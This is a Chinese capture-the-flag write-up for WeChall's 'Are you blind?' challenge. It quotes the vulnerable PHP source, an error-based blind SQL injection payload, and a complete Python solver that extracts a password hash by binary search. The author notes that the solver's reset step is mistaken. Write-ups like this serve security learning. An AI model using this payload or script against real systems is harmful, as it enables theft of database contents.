WeChall - Are you blind?

Challenge

Blinded by the light 的升级版(作者 Mawekl)。同样从数据库中提取 32 位 hex password hash,但:

  • Boolean blind 无效blightVuln() 的 true/false 两个分支返回完全相同的语言字符串
  • SLEEP/BENCHMARK 被过滤stripos($password, 'sleep')stripos($password, 'benchmark') 直接拦截
  • 预算 128 次查询,需要连续成功 3 轮

Source Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function blightVuln(WC_Challenge $chall, $password, $attempt)
{
# Blocked keywords
if (strpos($password, '/*') !== false || stripos($password, 'blight') !== false)
return $chall->lang('mawekl_blinds_you', array($attempt));

# No timing attempts
if (stripos($password, 'benchmark') !== false || stripos($password, 'sleep') !== false)
return $chall->lang('mawekl_blinds_you', array($attempt));

$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) ?
$chall->lang('mawekl_blinds_you', array($attempt)) :
$chall->lang('mawekl_blinds_you', array($attempt));
}

queryFirst() 返回首行或 false,但三元运算符两端输出完全相同的文本。布尔信道和 timing 信道都不可用。

Solution

利用 error-based blind SQLi。MySQL 的 IF() 根据条件返回不同值:

1
' OR IF(condition, 1, (SELECT 1 UNION SELECT 2)) --
  • 条件为 TRUE → IF 返回 1,WHERE 子句为真 → queryFirst 返回一行 → 页面无 MySQL 错误
  • 条件为 FALSE → IF 执行 SELECT 1 UNION SELECT 2,返回 2 行 → MySQL 错误 "Subquery returns more than 1 row" → 页面出现 <div class="gwf_errors">

提取算法完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3
"""Are you blind? — Error-based blind SQLi solver."""
import requests, re, time, sys

URL = 'https://www.wechall.net/en/challenge/Mawekl/are_you_blind/index.php'
COOKIE = {'WC': '40700784-72047-P62VMhsWxh3elcYN'}
HEADERS = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'}
ALPHABET = '0123456789ABCDEF'

s = requests.Session()
s.headers.update(HEADERS)
s.cookies.update(COOKIE)

def has_error(payload):
"""Return True if condition caused MySQL error (condition was FALSE)."""
data = {'injection': payload, 'inject': 'Inject'}
try:
r = s.post(URL, data=data, timeout=15)
return 'gwf_errors' in r.text
except:
time.sleep(1)
return has_error(payload)

# Reset challenge first
print("[*] Resetting challenge...")
s.get(URL, params={'reset': 'me'})
time.sleep(1)

recovered = ''
for pos in range(1, 33):
lo, hi = 0, len(ALPHABET) - 1
while lo < hi:
mid = (lo + hi) // 2
mid_char = ALPHABET[mid]
# TRUE: password[pos] > mid_char → no error
# FALSE: password[pos] <= mid_char → error
payload = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char}', 1, (SELECT 1 UNION SELECT 2)) -- "
if has_error(payload):
hi = mid
else:
lo = mid + 1
time.sleep(0.2)
recovered += ALPHABET[lo]
bar = '\u2588' * pos + '\u2591' * (32 - pos)
sys.stdout.write(f'\r[{bar}] {pos}/32 | {recovered}')
sys.stdout.flush()

print(f"\n[+] Recovered: {recovered}")

# Submit
print("[*] Submitting...")
r = s.post(URL, data={'thehash': recovered, 'mybutton': 'Enter'})

if 'correct' in r.text.lower() or 'solved' in r.text.lower():
print("[+] SOLVED!")
elif 'gwf_messages' in r.text:
msgs = re.findall(r'<li>(.*?)</li>', r.text)
for m in msgs:
if m.strip():
print(f" MSG: {m}")
elif 'gwf_errors' in r.text:
errs = re.findall(r'<li>(.*?)</li>', r.text)
for e in errs:
if e.strip():
print(f" ERR: {e}")

if 'more' in r.text.lower() or 'consecutive' in r.text.lower():
print("[i] Need more consecutive rounds — running again...")
success_count = 1
while success_count < 5:
s.get(URL, params={'reset': 'me'})
time.sleep(0.5)
recovered2 = ''
for pos in range(1, 33):
lo2, hi2 = 0, len(ALPHABET) - 1
while lo2 < hi2:
mid2 = (lo2 + hi2) // 2
mid_char2 = ALPHABET[mid2]
payload2 = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char2}', 1, (SELECT 1 UNION SELECT 2)) -- "
if has_error(payload2):
hi2 = mid2
else:
lo2 = mid2 + 1
time.sleep(0.1)
recovered2 += ALPHABET[lo2]
sys.stdout.write(f'\r Round {success_count+1}: [{pos}/32] {recovered2}')
sys.stdout.flush()
r2 = s.post(URL, data={'thehash': recovered2, 'mybutton': 'Enter'})
if 'solved' in r2.text.lower() or 'congrat' in r2.text.lower():
print(f"\n[+] SOLVED after {success_count+1} rounds!")
recovered = recovered2
break
elif 'correct' in r2.text.lower() or 'more' in r2.text.lower():
success_count += 1
print(f"\n[i] Round {success_count} passed, need more...")
else:
print(f"\n[!] Round {success_count+1} failed")
msgs = re.findall(r'<li>(.*?)</li>', r2.text)
for m in msgs:
if m.strip():
print(f" {m}")
break

print(f"\n[*] Final hash: {recovered}")
print("[*] Check https://www.wechall.net/en/challs for wc_chall_solved_1")

关键注意:

  • 不要手动调用 ?reset=me——会断掉连续成功计数
  • 每成功一次服务器自动生成新 hash 进入下一轮
  • 脚本中 while success_count < 5 里的 s.get(URL, params={'reset': 'me'}) 是错误写法——正确做法是 不 reset,成功提交后服务器自动发新 hash